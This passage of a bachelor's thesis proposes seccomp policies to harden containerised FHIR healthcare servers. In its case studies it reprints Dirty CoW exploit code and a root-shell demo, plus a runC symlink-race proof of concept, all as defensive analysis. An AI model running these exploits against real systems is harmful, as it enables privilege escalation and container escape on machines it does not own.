

# The Container Security in Healthcare Data Exchange System

Chih-Hsuan Yang

National Sun Yat-sen University, Taiwan

Bachelor's degree graduation project

Advisor: Chun-I Fan

April 16, 2022

# Contents

<b>Abstract</b>	<b>2</b>
<b>1 Introduction</b>	<b>3</b>
1.1 Container and Linux Kernel	3
1.2 FHIR	4
1.2.1 RESTful API and Data Structure	4
1.2.2 Why IBM FHIR server	4
<b>2 Related Works</b>	<b>6</b>
2.1 Collecting System Calls	6
2.2 Fine-grained Permission Control	7
2.2.1 Capabilities	8
2.3 Recently Exploited Vulnerabilities	8
2.3.1 Five Stages of Malware	8
2.3.2 Case Studies	10
2.4 A Minimal Cross-platform Container in Linux	15
2.5 Virtual Environment Performance Benchmark	19
<b>3 Proposed Scheme</b>	<b>20</b>
3.1 Workflow	20
3.1.1 Scan Base Image	20
3.1.2 Building and Signing	21
3.1.3 Check Image and Policy	21
3.1.4 Enforce the Policy	22
3.2 Rolling Updates	22
<b>4 Analysis and Benchmark</b>	<b>23</b>
4.1 Analysis	23
4.1.1 Attacking Surface	23
4.1.2 Time Consuming	25
4.1.3 Statistics	25
4.2 Benchmark	26
4.2.1 Latency	26
<b>5 Conclusion</b>	<b>28</b>
<b>References</b>	<b>32</b>

# Abstract

This research proposes a mechanism, forces the system to call a specific policy in the container, which is deployed in runtime. This policy is designed for the FHIR healthcare data exchanging in standard's container, which could guarantee the FHIR server to have only supported behavior and to take almost zero overhead. Recently, many companies use containers to run their microservices since containers could make more efficient use of their hardware resources as well as the newest healthcare data exchange standard FHIR (Fast Healthcare Interoperability Resources) <sup>1</sup> has been implemented in a container by IBM, Microsoft, and Firebase. The deployment of FHIR in a container is a trend in the digital world [1]. Containers are isolated processes <sup>2</sup> instead of sandboxes [2]. Therefore, if hackers or malicious software could sneak into the container, that would be a new cyber attacking surface in nearly future.

---

<sup>1</sup>FHIR official: <https://www.hl7.org/fhir/>

<sup>2</sup>gVisor GitHub: <https://github.com/google/gvisor>

# Chapter 1

## Introduction

### 1.1 Container and Linux Kernel

The container is a secondary product of the operating system in the past 20 years. The FreeBSD develops ‘Jails’ in 1999, and the Solaris develops ‘Zones’ in 2004. Linux also took this idea into the Linux kernel, which is named cgroups (2007), the capabilities (2003), and seccomp (2005). However, why the Linux breaks this technology into many parts? This is because they had discussed: ”Why Should a System Administrator Upgrade?” in 2001 <sup>1</sup>. The Linux kernel almost entered the development path of ”upgrade for demand” like Microsoft Windows, and deviated from the original path of ”providing a mechanism but not a strategy” of the original Linux kernel.

While Linux were spreading in various server or distributed system, the Linux community got more pull requests to solved the scalability and virtualization issues [3]. However, they avoided confusion caused by multiple meanings of the term ”container” in the Linux kernel context. In kernel version 2.6.24 (2007) <sup>2</sup>, control groups functionality was merged into the mainline, which is designed for an administrator (or administrative daemon) to organize processes into hierarchies of containers; each hierarchy is managed by a subsystem. Moreover, the cgroups was rewrote into cgroups-v2 in Linux kernel 4.5 (2015) <sup>3</sup>.

The first and most complete implementation of the Linux container manager was LXC (Linux Containers). It was implemented in 2008 using cgroups and namespaces, and it runs on a single Linux kernel without requiring any patches. LXC provides a new view and imagination of virtualized services without any hypervisor. In 2016, Docker replaced LXC with ”libcontainer”, which was

---

<sup>1</sup>Version 2.4 of the LINUX KERNEL–Why Should a System Administrator Upgrade? <https://www.informit.com/articles/article.aspx?p=20667>

<sup>2</sup>Notes from a container: <https://lwn.net/Articles/256389/>

<sup>3</sup>Control Group v2: <https://www.kernel.org/doc/Documentation/cgroup-v2.txt>

written in the Go programming language. Docker combined features in a new, more attractive way and made Linux containers popular.

The secondary product of the operating system, containers, offering many advantages: they enable you to "build once, run anywhere." Docker does this by bundling applications with all their dependencies into one package and isolating applications from the rest of the machine on which they're running. Therefore, this research is based on docker container to propose a scheme of healthcare data exchange system's security.

## **1.2 FHIR**

FHIR is a standard for healthcare data exchange. The FHIR standard will be used in Taiwan in the near future. FHIR will be used to provide PHR (Personal Healthcare Records) in Taiwan. Therefore, we choose the most popular standard "FHIR" for the target of the healthcare data exchange system.

### **1.2.1 RESTful API and Data Structure**

REST (Representational State Transfer) is a stateless reliable web API, which is based on HTTP methods to access resources or data via URL parameters and the use of JSON or XML format to transmit queries. Because the RESTful is stateless, the client should keep their information (i.e. cookies) by themselves.

FHIR has features: RESTful and data structure, make our research and benchmarks more accurate and reliable. Statelessness is a developer-friendly feature, the developer and the tester would not to design a complex state machine on the server-side or generating test files. And the FHIR takes RESTful as standard. Moreover, FHIR standard declared the 'StructureDefinition'<sup>4</sup>. These structure definitions are used to describe both the content defined in the FHIR specification itself - Resources, data types, the underlying infrastructural types, and also are used to describe how these structures are used in implementations.

### **1.2.2 Why IBM FHIR server**

There are many applications using IBM's FHIR server as the base component of the EHR (Electronic Health Records) system to communicate with the other various databases. Take it for example that the NextCloud's EHR service, Taipei Veterans General Hospital, and AWS Cloud are using the FHIR server in a container for subroutine service. NextCloud is an open-source and self-hosted productivity

---

<sup>4</sup>FHIR Resource Structure Definition: <http://www.hl7.org/fhir/structuredefinition.html>

platform for users. Many people caring about their privacy issues distrust the FAAMG (Facebook, Amazon, Apple, Microsoft, Google), so they are using NextCloud to keep their privacy on their own. Therefore, they are eager to have a secure EHR system for their PHR <sup>5</sup>.

The benefits of providing IBM FHIR container security in our study are providing secure protection testing, methods, and performance evaluation for FHIR services provided by a well-known international company (IBM). This research will provide an important reference for commercial projects for the health information exchange system practiced by medical institutions in Taiwan.

---

<sup>5</sup>[Richard Stallman talks about IoT](#)

# Chapter 2

## Related Works

### 2.1 Collecting System Calls

There are several pieces of research to detect intrusions or unexpected behaviors by collecting the system calls methods in runtime [4, 5, 6, 7]. Abed, Clancy, and Levy [4] proposed a real-time host-based intrusion detection system in a container, which is based on system call monitoring. They use the ‘strace’ command to collect a behavior log to a system-call parser. Then use the BoSC (Bag of System Calls) [8] to classify is it a normal behavior in the database.

The BoSC technique is a frequency-based detection tip. Kang, Fuller, and Honavar [8] defined those distinct system calls in  $\{c_1, c_2, \dots, c_n\}$ , For all system call  $s_i$  had been called in  $c_i$  times. And they use Naïve Bayes classification to deduce if it is unexpected behavior. Then the Abed, Clancy, and Levy give the false positive rate of around 2% in  $O(S + n_k)$  epochs to the MySQL database [4].

- Epoch Size ( $S$ ): The total number of system calls in one epoch.
- $n_k$ : It is the size of the database after epoch  $k$ .

However, the BoSC is running in user space, even though it is a background service running on the same host kernel. It might have heavy constant time costs of copying data from user to kernel and kernel to user by the ‘copy\_to\_user()’ and ‘copy\_from\_user()’ calls.

Azab et al. [6, 7] takes a mathematical model to simulate the smart moving target defense for Linux container resiliency. Considering an ‘ESCAPE’ model is the interaction between attackers and their target containers as a “predator searching for a prey” search game. This search game has 3 modules: behavior monitoring, the checkpoint/restore, and the live migration modules. This model is running on the same host and the same attacking surface because they considered the containers (prey) are running on the same machine with some migration probability.

They show the survival rate in Abed, Clancy, and Levy [4] model for some zero-day vulnerabilities in different types and numbers of machines. Azab et al. [6, 7] concluded that an IDS could detect and avoid mobile continually-growing attacks efficiently by the ‘ESCAPE’ model with collecting system calls.

## 2.2 Fine-grained Permission Control

The file system access control list (ACL) was defined in POSIX, which shares a naive and robust permission model [9, 10]. But after 20 years of evolution, in the practical consideration of the Linux operating system design, it can be divided into two permission control mechanisms: (i) POSIX ACL and (ii) seccomp. Traditional permission control is mostly controlled by ACL or similar. Many Linux secure modules (LSM) also use ACLs for file access control[11]. For example, SELinux and AppArmor use such permission settings [12, 13, 14, 15].

Han et al. [12] had proposed an architecture to enforce the access control of the image’s layers. Because the docker engine does not guarantee the layers could not be modified by the host environment. Therefore, if we give a container privileged permission, it could modify the layers of images. The research [12] is using the LSM’s policy table to enforce the access control of the file system in the kernel.

Sun et al. [13] proposed to separate the security namespace. Each container can route its operation to different security namespaces for its ”comment”. Each involved in the security namespace independently makes a security decision, and the operation is allowed only if the policy engine allows it.

However, the policy engine has four types of policy conflicts: (I) Parent-Child Conflict, (II) Global-Local Conflict, (III) Lack of Authority, and (IV) Environment does not meet the expectation. The initial security namespace  $\Phi$  is  $\emptyset$ . (I, II) will route the policy to  $\Phi = \Sigma(\Phi \cap P_i), i \in \mathbb{N}, i < n$ . And the (III, IV) is conflicted by the capabilities of that process. Sun et al. [13] give the capabilities a higher hierarchy than policy in the policy engine. Therefore all of these conflicts will follow the capability first.

Android sandbox also uses ACL to control SELinux permissions for application registered users. This is called in Android system UID-based discretionary access control (DAC). And after Android 5.0, SELinux is provided to force the execution of DAC <sup>1</sup>.

---

<sup>1</sup><https://source.android.com/security/app-sandbox>



## 2.2.1 Capabilities

Linux provides a more detailed permission control method on the file system, which is called capability and was proposed by Karger and Herbert. We can give archives some given capabilities without giving hole root permissions when it executes specific system calls. Otherwise, it must be a privileged process that can bypass all permission checks.

## 2.3 Recently Exploited Vulnerabilities

In this section, we will mention and review some ‘High’ or ‘Critical’ vulnerabilities about kernel and containers in CVSS (Common Vulnerability Scoring System). Because container is not a real virtual machine, it is an isolated process.

We ignore the CVE-2020-29389 series (CVE 306). Because those CVEs are not container or kernel’s vulnerabilities, those CVEs are issue of image defaults password. Despite those CVEs got 10.0 score, those are small and unimportant vulnerabilities.

### 2.3.1 Five Stages of Malware

We had been inspired by the quark engine<sup>2</sup>, which is an open-source malware scoring system for Android APK files. The quark engine had been developed from the Taiwan Criminal Law’s five stages: (i) Determination, (ii) Conspiracy, (iii) Preparation, (iv) Start, (v) Practice.

We also can use these five steps and category to give the malware stage to exploit the vulnerabilities. (i) Base image landing, (ii) Derived image landing, (iii) User landing, (iv) Kernel landing, (v) Escaping. The escaping category is the worst case of container security, because we want a container be a container, it must has zero leakage of capsulation.

#### Base image landing

This is the most fundamentally basic assumption or guarantee of container security. **inproceedings** proposed the BoSC technique must be  $S = \{\emptyset\}$  in this step. By definition, for all container  $c$  is an image  $I$  in execution, that is  $c = E(I)$ .  $E$  is a function to execute and give container  $c$  a description  $\delta$  and a lifetime status  $\lambda$ . If we are using the docker environment, we can use the command:

```
1 docker inspect [NAME|ID...]
```

<sup>2</sup><https://quark-engine.readthedocs.io/en/latest/>

to get the description  $\delta$  of the container. And we can use

```
1 docker ps [OPTIONS]
```

to get the lifetime status  $\lambda$  of the container.

$$c = E(I) = \{\delta, \lambda\}$$

$\lambda \in \{\text{created, running, paused, stopped}\}$  statuses.

It is called base image landed, if the BoSC technique  $S \neq \{\emptyset\}$ , which might be injected some malicious item in the image. It is showed bellow.

### Derived image landing

It is called derive image landing if some malicious items are inserted into the final layer, while developers are inserting the application(s) and some dependencies into image layers, It could be performed by a malicious base, dependencies, libraries, or binaries are inserted into the filesystem. It is often in third-party unknown source image which is integrated and republished by some crackers.

Those unknown source images could be replaced with the normal or official image by some hacks or overlays. It looks fine when a user didn't check the image until who creates the instance of an image, that is container. If the default application triggers the malicious part, it would give crackers a chance to take control of the container. It would go to the next step user landing.

### User landing

It is the cracker landing into the container, no matter if it comes from a derived image or hacking from the normal micro-application. Crackers might get a shell or execute some malicious binaries by some injections or the other vulnerabilities.

In this step, the cracker could control the normal service to do the unexpected behaviors as normal hacking scenarios. They can drop databases [17], practice the local file inclusion [18, 19], etc. Take an online judge in a container as an example: People could write some program, compile it, and execute it on that machine. The cracker could write some malicious program or load some shellcode in those programs, and give the operating system to execute. This is the user landing step.

If crackers could practice a remote code execution (RCE), they might get a sell and promote the privilege to the super-user account in the container. They can do the same things as the host super-account except for the capabilities in 2.2.1.

## Kernel landing

It is the hacker could hack the kernel [20, 21, 22, 23]. While the kernel copies data from the user and executes the user-provided malicious pattern or the user exploits the kernel vulnerabilities, and lets that code executed in kernel mode, that is kernel landing.

It is kernel landing that we will introduce in the following subsection 2.3.2.

## Escaping

This is the most critical step of these five steps because this is the final utility given by the container. Despite the kernel landing is almost control the whole machine, it is the last container insecure issue of breaking the containers. There are three types of escaping: (i) Cgroups, (ii) Namespaces, (iii) Capabilities.

(i) The cgroup escaping showed that Gao et al. [24] break the cgroups' limitation and affect the other container on the same host significantly, and gain some extra resources from the host. (ii) The namespace escaping shows in 2.3.2 demonstration paragraph. The last one, (iii) capability escaping can be overridden the capability after the kernel landing and modify the 'task struct' of the process in the kernel.

## 2.3.2 Case Studies

### The Dirty CoW

Alam et al. [25] showed the race condition and the mechanism of "Copy on Write". "Copy on Write" is a resource-management technique used in computer programming to efficiently implement a "duplicate" or "copy" operation on modifiable resources [26]. It is often inspired when 'fork' or 'mmap'.

**Mechanism** Let's analyze the proof of concept (PoC) of the dirty CoW [25] vulnerability<sup>3</sup>. The key of inspiring this vulnerability is the mmaped memory space, which is mapped with the PROT\_READ flag. The PROT\_READ flag declares that the page is read-only.

```
87  f=open(argv[1], O_RDONLY);  
88  fstat(f, &st);  
89  name=argv[1];  
90  map=mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
```

src/dirtycow.c

---

<sup>3</sup><https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtycow.c>

It creates two threads, which would have a race condition of the mmaped memory space, `madviseThread` and `procselvmemThread`.

```
106 pthread_create(&pth1, NULL, madviseThread, argv[1]);
107 pthread_create(&pth2, NULL, procselvmemThread, argv[2]);
```

src/dirtycow.c

In one thread, issuing a system call ‘`madvise`’, would make the user thread gain the root privilege to operate the protected page temporarily. And the flag `MADV_DONTNEED` would tell the kernel: “Do not expect to access it in the near future.” Moreover, this flag might not lead to immediate freeing of pages in the range. The kernel is free to delay free the pages until an appropriate moment <sup>4</sup>.

```
33 void *madviseThread(void *arg)
34 {
35     char *str;
36     str=(char*) arg;
37     int i, c=0;
38     for(i=0; i<1000000000; i++)
39     {
40         c+=madvise(map, 100, MADV_DONTNEED);
41     }
42     printf("madvise %d\n\n", c);
43 }
```

src/dirtycow.c

In another thread, open its memory resource file. This file is a special file, which allows the process to read its memory by itself.

Then, we move the printer of file descriptor of the memory resource file to the mmaped space. And we try to write it. But the mmaped space is read-only. We expected that the kernel would create a copy of this space and write the copy [27].

```
50 void *procselvmemThread(void *arg)
51 {
52     char *str;
53     str=(char*) arg;
54     int f=open("/proc/self/mem", O_RDWR);
55     int i, c=0;
```

---

<sup>4</sup><https://man7.org/linux/man-pages/man2/madvise.2.html>

```

56  for(i=0;i<1000000000;i++) {
57      lseek(f, (uintptr_t) map, SEEK_SET);
58      c+=write(f, str, strlen(str));
59  }
60  printf("proccelfmem %d\n\n", c);
61 }

```

src/dirtycow.c

However, there is a problem! There is another thread that is racing this page with root privilege. If the scheduler context switches the madviseThread to proccelfmemThread while the adviseThread is calling the ‘madvise’ system call, it would cause the proccelfmemThread to gain the root privilege from madviseThread to control the mmaped file.

## Demo

```

user@ubuntu:~$ uname -a: id
Linux ubuntu 3.16.0-23-generic #31-Ubuntu SMP Tue Oct 21 17:56:17 UTC 2014 x86_64 x86_64 x86_64 GNU/
Linux
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lib
virt),113(lpadmin),114(sambashare)
user@ubuntu:~$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 51128
Racing, this may take a while..
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@ubuntu:/home/user# id
uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(libv
irt),113(lpadmin),114(sambashare)
root@ubuntu:/home/user# _

```

## CVE-2016-8655 series

We will introduce the series vulnerabilities related to CVE-2016-8655<sup>5</sup>, which are CVE-2017-7308<sup>6</sup> and CVE-2020-14386<sup>7</sup>. These vulnerabilities are related to the bugs in net/packet/af\_packet.c in the kernel. These series vulnerability is rely on the capability of CAP\_NET\_RAW<sup>8</sup>, which is a capability that can "use RAW and PACKET sockets and bind to any address for transparent proxying" in Linux. And we had also introduced the Linux capabilities at 2.2.1.

<sup>5</sup><https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655>

<sup>6</sup><https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7308>

<sup>7</sup><https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14386>

<sup>8</sup><https://linux.die.net/man/7/capabilities>

**CVE-2016-8655 and CVE-2017-7308** They are that there exists a race condition probability to race the unauthorized data inside `packet_set_ring()` and `packet_setsockopt()`. When we are using the `PACKET_RX_RING` option on the `setsockopt()`, and if the version of the packet socket is `TPACKET_V3`. Then we can race the `init_prb_bdqc()` and `swap(rb->pg_vec, pg_vec)` in `packet_set_ring()` with the spin lock `rb_queue->lock`. However, when the socket was closed and called `kfree()` of the struct `packet_sock`. It causes a use-after-free on a kernel timer object that can be exploited by various attacks on the SLAB allocator in `setsockopt()` <sup>9 10</sup>.

They are critical vulnerabilities that can impact all Linux distributions' kernels being built from 2011 to 2016. We can use these vulnerabilities to land on the kernel in containers, such that the container would be controlled by crackers.

**CVE-2020-14386** It is a combination of CVE-2016-8655 and CVE-2017-7308 above. Despite people patch those vulnerabilities, there exist an arithmetic overflow, because the variable of `netoff` is an offset of ethernet header which is only stored in an unsigned short. Crackers can produce an arithmetic overflow when they have the `CAP_NET_RAW` capability, which value must be smaller than `INT_MAX`, but receive a larger value than the size of a block and write beyond the bounds of a frame buffer<sup>11</sup>.

Or Cohen submitted the patch<sup>12</sup> to fix this CVE-2020-14386, and this patch is integrated into Linux 5.8. This vulnerability is also a kernel-level bug that can gain root privileges from unprivileged processes. Therefore, a cracker could use this vulnerability to get the privilege to escape from containers.

People notice that it is impossible to do any protection if the kernel has vulnerabilities that the container has the capability to ask the kernel to execute malicious code directly. Despite they make the kernel up-to-date, there also have some probability that crackers could exploit the kernel and brake the container. Because, containers are just isolated processes, they are using the shared kernel as the host. When this bug is published, google's gVisor said "Hey, we are immunity to this vulnerability."

<sup>13</sup> Because the gVisor implements its own network stack in its gVisor sandbox by the go language. They do not ask for these supports from the kernel.

---

<sup>9</sup>[https://github.com/torvalds/linux/blob/f6fb8f100b807378fda19e83e5ac6828b638603a/net/packet/af\\_packet.c#L3690](https://github.com/torvalds/linux/blob/f6fb8f100b807378fda19e83e5ac6828b638603a/net/packet/af_packet.c#L3690)

<sup>10</sup><https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>

<sup>11</sup><https://www.openwall.com/lists/oss-security/2020/09/03/3>

<sup>12</sup><https://github.com/torvalds/linux/commit/acf69c946233259ab4d64f8869d4037a198c7f06>

<sup>13</sup><https://cloud.google.com/blog/products/containers-kubernetes/how-gvisor-protects-google-cloud-services-from-cve-2020-14386>

## RunC exploits

This sub-subsection would introduce some exploits for the runC engine. RunC is an abbreviation of "run container", which is an instance of the host OS's process and the parent process of a container environment.

**CVE-2019-5736** This is an attack that modifies the driver from the immutable layer. This attack overwrites runC's binary file such that another program would be launched via runC to reentrant this runC's container. It is quite dangerous to use binary files directly from the file system because each container's file system is referenced from the instance of the image file. Despite that an image is immutable, a container is mutable except for ACL controls.

In order to solve the problem of such duplication, a memfd is used instead, and then runC is the driver of the container <sup>14</sup>. In this way, if a hacker rewrites the driver with any permission, at most it will only modify the volatile program in memory. It will not overwrite the original immutable layer. The user reentrants this container the next time, the hacker-modified runC will not be triggered.

**CVE-2021-30465** There is a race condition between checking the filesystem while the container is starting and actually mounting it into the container. The original researcher found this race condition problem on k8s <sup>15</sup>. However, there is a bug that we have full control permission over the file that is mounted in a container. Therefore the researcher creates 20 containers to race a shared directory that placed a symbolic link to the container's outside.

```
10 int main(int argc, char *argv[]) {
11     if (argc != 4) {
12         fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
13         exit(EXIT_FAILURE);
14     }
15     char *name1 = argv[1];
16     char *name2 = argv[2];
17     char *linkdest = argv[3];
18
19     int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
20     if (dirfd < 0) {
21         perror("Error open CWD");
22         exit(EXIT_FAILURE);
23     }
```

<sup>14</sup><https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbee398405813ce8e88558b>

<sup>15</sup><https://blog.champtar.fr/runc-symlink-CVE-2021-30465/>

```

24
25     if (mkdir(name1, 0755) < 0) {
26         perror("mkdir failed");
27         //do not exit
28     }
29     if (symlink(linkdest, name2) < 0) {
30         perror("symlink failed");
31         //do not exit
32     }
33
34     while (1)
35     {
36         renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
37     }
38 }

```

src/race.c

We can see the PoC code as above.

## 2.4 A Minimal Cross-platform Container in Linux

A kernel-level virtualization, which is so-called a container, is constructed by two features: hardware limitation, namespace limitation. We can use the ‘mount’ with a tag of cgroup system call in Linux to create an association set of parameters for hierarchy subsystems <sup>16</sup>. We use the ‘clone’ or ‘unshare’ to manipulate the task\_struct in the kernel.

We give the container all the hardware usage to our mini-container, and execute from a thread of function ‘run’.

```

45 static inline pid_t loader(char *argv[])
46 {
47     return clone(run, c_stkptr + STK_SIZE,
48                 CLONE_NEWNS | CLONE_NEWUTS | CLONE_NEWPID | SIGCHLD, argv);
49 }

```

src/lc/cont.c

We use the clone <sup>17</sup> with CLONE\_NEWNS flag to start in a new mount namespace, initialing with a copy of the namespace of the parent. Then, we use chroot to limit the child process’s root directory

<sup>16</sup><https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v1/cgroups.html>

<sup>17</sup><https://man7.org/linux/man-pages/man2/clone.2.html>



```
→ container git:(main) X gcc *.c -o c
→ container git:(main) X sudo ./c "bash"
Success on creating container
Start container: bash with clone id: 193761
In container PID: 1
bash-5.0# ./test.sh
This is the self test script in container!
Support bash cat echo ls rm hostname, 5 commands.
./test.sh
-----FILE: test.sh -----
1  #!/bin/bash
2
3  echo "This is the self test script in container!"
4  echo "Support bash cat echo ls rm hostname, 5 commands."
5
6  echo $0
7
8  echo "-----FILE: test.sh -----"
9  cat -n test.sh
10 echo "-----"
11
12 echo $(hostname) >天竺鼠車車
13 cat 天竺鼠車車
14 rm 天竺鼠車車
15 ls
-----
container
bin dev etc home lib lib64 mnt opt proc root run sbin sys test.sh tmp usr var
bash-5.0# exit
exit
→ container git:(main) X
```

Figure 2.1: A Minimal Cross-platform Container in Linux

to our "rootfs".

```
18 static void isol()
19 {
20     unshare(CLONE_FILES | CLONE_FS | CLONE_SYSVSEM | CLONE_NEWCGROUP);
21     sethostname("container", 10);
22 #ifdef ROOTFS
23     if (chroot(Stringize_Value_Of(ROOTFS)))
24         perror("chroot error");
25 #else
26     if (chroot(Stringize_Value_Of(rootfs)))
27         perror("chroot error");
28 #endif
29     printf("In container PID: %ld\n", (long) getpid());
30 }
```

src/lc/cont.c

So we start the first program in the container, which would be executed in the our-designed container, which is shown in figure 2.1.

```
32 static int run(void *argv)
33 {
34     char **arg = (char **) argv;
35     isol();
36     chdir("/");
37
38     int ret = execvp(arg[0], arg);
39     if (ret)
40         printf("%s in container\n", strerror(errno));
41
42     return ret;
43 }
```

src/lc/cont.c

But there is a problem here. That is the program could not be loaded normally while the kernel tries to load the dynamic libraries into memory, which depends on the binary program. This is the reason why we need an immutable base file system layer to support the container image.

Suppose we build the minimal container on a self machine, we can assume the CPU architecture is the same. Therefore we can copy the dependencies to "rootfs" directly.

```
10 #-----create root fs-----
```

```

11 echo "Creating rootfs"
12 mkdir $rootfs
13 for i in ${root_dirs[@]}; do
14     mkdir $rootfs/$i
15 done
16 echo
17
18 #-----Copy commands-----
19 for app in ${support_list[@]}; do
20     echo "Copying $app from $(which $app) to $rootfs/usr/bin/"
21     cp $(which $app) $rootfs/bin/
22 done
23 echo
24
25 libs=()
26 #-----Copy lib-----
27 for app in ${support_list[@]}; do
28     echo "Add $(which $app | xargs ldd | grep '\(\\(\\usr\\)\\?\\lib[^\\ ]+\\)' -o |
29         tr '\\n' ' ' )for $app"
30     for l in $(which $app | xargs ldd | grep '\(\\(\\usr\\)\\?\\lib[^\\ ]+\\)' -o |
31         tr '\\n' ' '); do
32         if [[ ! " ${libs[@]} " =~ " $l " ]]; then
33             libs+=("$l")
34         fi
35     done
36 done
37 echo
38 echo ${libs[@]}
39
40 for l in ${libs[@]}; do
41     echo "Copying lib"
42     cp -f $l "$rootfs$l"
43     if [[ $? != 0 ]]; then
44         mkdir -p "$rootfs$l" # the end of $l is file name, not the dir name
45         rmdir "$rootfs$l"
46         cp -f $l "$rootfs$l"
47     fi
48 done

```

src/lc/build.sh

## 2.5 Virtual Environment Performance Benchmark

There is a trend of applications are developed or deployed into microservice in a virtual environment since 2008. And the performance benchmark of applications in the virtual environment becomes more and more critical.

Therefore, there are many pieces of research shows how to evaluate the performance when using containers or the other virtual infrastructures[28, 29, 30, 31]. They are comparing the throughput, latency, and QoS for memory IO, or cryptography algorithms calculating costs.

Young et al. [31] showed the gVisor costs:  $2.2\times$  system call overhead,  $2.5\times$  memory allocation latency, and  $216\times$  **slower** than raw system on complex file opening. And Kozhirbayev and Sinnott [29] showed that I/O times have more disadvantages of latency and throughput, which is compared to container and native machines.

# Chapter 3

## Proposed Scheme

It is the programmer's responsibility to write complete unit and integration tests. We extend the definition Test-Driven Development (TDD), which is not only red, green, and refactor, but also "Test Do what's Designed".

### 3.1 Workflow

In short, our proposal is generating a perfectly fittable mask layer which is coupled with the healthcare data exchange system in build time.

We proposed a CI/CD workflow to guarantee the runtime enforcement of policies in figure 3.1. Each block of the workflow will be described in the following subsection.

Because of the CI/CD workflow, we can rolling update all the features or fixing vulnerabilities, such that, the software would be released secure eventually. Linus Torvalds said<sup>1</sup> : "The only real solution to security is to admit that bugs happen, and then mitigate them by having multiple layers." And our layer is enforced in kernel space, therefore, there are no existing other attacks that can be inflicted in the user program except for the kernel exploit.

#### 3.1.1 Scan Base Image

We scan all the layers which construct the image of the container recursively. All containers are images in execution, that is we can treat the container as an image in runtime. Therefore, the layers of image construction have to be trusted.

For a general image  $I_i$  which has been constructed in  $n$  layers  $L_i, \forall i \leq n, n \in \mathbb{N}$ , we can use

---

<sup>1</sup><https://www.youtube.com/watch?v=5CIL54-KKz0>




Figure 3.1: Contiguous Integration and Contiguous Deployment

the spotbugs<sup>2</sup> or the other bug-scanning tools to ensure that the software is a bugless program. The bugless program  $p_i$  is in the layer  $L_i$  which construct the  $I_i$

### 3.1.2 Building and Signing

We will execute the developer's unit tests and the integration test in the build time. We catch all the system calls  $s_i$  by the BoSC[8] method, and generate the  $S = \{s_1, s_2, \dots, s_i \dots s_n\}$  set from the program's  $n$  system calls,  $S \subseteq \mathbb{S}$ , the  $\mathbb{S}$  is all the system calls that the kernel supported. We wrote a driver to parse the  $S$  into a whitelist filter of seccomp's policy  $P$ .

Through the workflow above, the  $L_i$ 's security is almost surely enough. Then we sign our certificate  $C$  and the policy  $R$  to the image  $I_i$ , which is constructed by those trusted layers  $L_i$  into  $\hat{I}_i$ . That is  $\hat{I}_i = C(P \oplus \Sigma_{\forall i} L_i)$ .

### 3.1.3 Check Image and Policy

When we deploy the  $\hat{I}_i$  into an active machine, we have to check the  $C$  of  $\hat{I}_i$  is valid for signer's trusted verification server.

The verification server can check the certificate  $C$ 's integrity and encrypt those checking results by the server's private key  $P_{VK}$  to the active machine. The active machine will also check the certificate  $C'$  from the verification server bidirectionally.

And we register our policy  $P$  into the active machine's kernel to limit the  $\hat{I}_i$  launched by the user in runtime, that is the container.

<sup>2</sup><https://spotbugs.github.io/>

### 3.1.4 Enforce the Policy

The kernel of the active machine can help us to guarantee the policy  $P$  is enforced in kernel space. Since the container is launched by the user, the policy  $P$  has been invoked in each system calls of the container. Because the policy  $P$  is a whitelist, all of the other system calls which do not belong to the signed container's application would send a permission denied signal from the kernel.

## 3.2 Rolling Updates

The rolling update is a trend of software engineering products, which is also named agile software development. Eric S. Raymond formulated the Linus's law in *The Cathedral and the Bazaar*[\[32\]](#). We give enough eyeballs and layers, all bugs or vulnerabilities are shallow in our healthcare data exchange system. Therefore the container can be secure eventually.

# Chapter 4

## Analysis and Benchmark

We profile an image of containers via cgroup and namespace and use the seccomp mechanism to force the policy in the kernel. We will analyze how we protect our system when hackers land into the container, and we profile the concurrent costs of this mechanism.

### 4.1 Analysis

Our defense level is at the kernel level, but the virtual machine's defense level is at the instruction level. Because we do not impose any restrictions on the CPU instruction set, nor isolate the host operating system. Although the defense level at the instruction set seems to be more efficient, the virtual machine's protection consumes more time. We will show that in 4.3.

In the health and medical information exchange system, the health and medical information we protect is specialized and fixed. For example, we do not have any attack on parsing some format string <sup>1</sup>, which is an exploit of bypassing the ASLR <sup>2</sup>.

So we can remove some redundant system call support has reached to limit the possibility of hacker exploitation. In order to protect the user's data from being attacked or leaked in the information exchange system.

#### 4.1.1 Attacking Surface

We discussed the five stages of malware in 2.3.1. We analyzed three possible attacking scenarios for hackers in this subsection.

---

<sup>1</sup>[https://owasp.org/www-community/attacks/Format\\_string\\_attack](https://owasp.org/www-community/attacks/Format_string_attack)

<sup>2</sup><https://lwn.net/Articles/569635/>



## Administrator account leakage

There are many situations where administrator accounts are accidentally leaked, such as social engineering attacks, side-channel attacks, or account IDs and passwords known through other ways. In 2020, 20 million household registration information in Taiwan is suspected to be sold in the dark web<sup>3</sup>.

We can prevent such attacks in advance by setting up a system-call filter in seccomp. When a hacker logs into the system as a system administrator and executes a foreign malicious program, the malicious program will call the system out of the schedule to perform malicious actions. Even though we normally give the system administrator the highest privileges to perform arbitrary tasks, we can analyze the behavior of the container at build time and block unexpected behavior.

## Zero-day or One-day Vulnerability

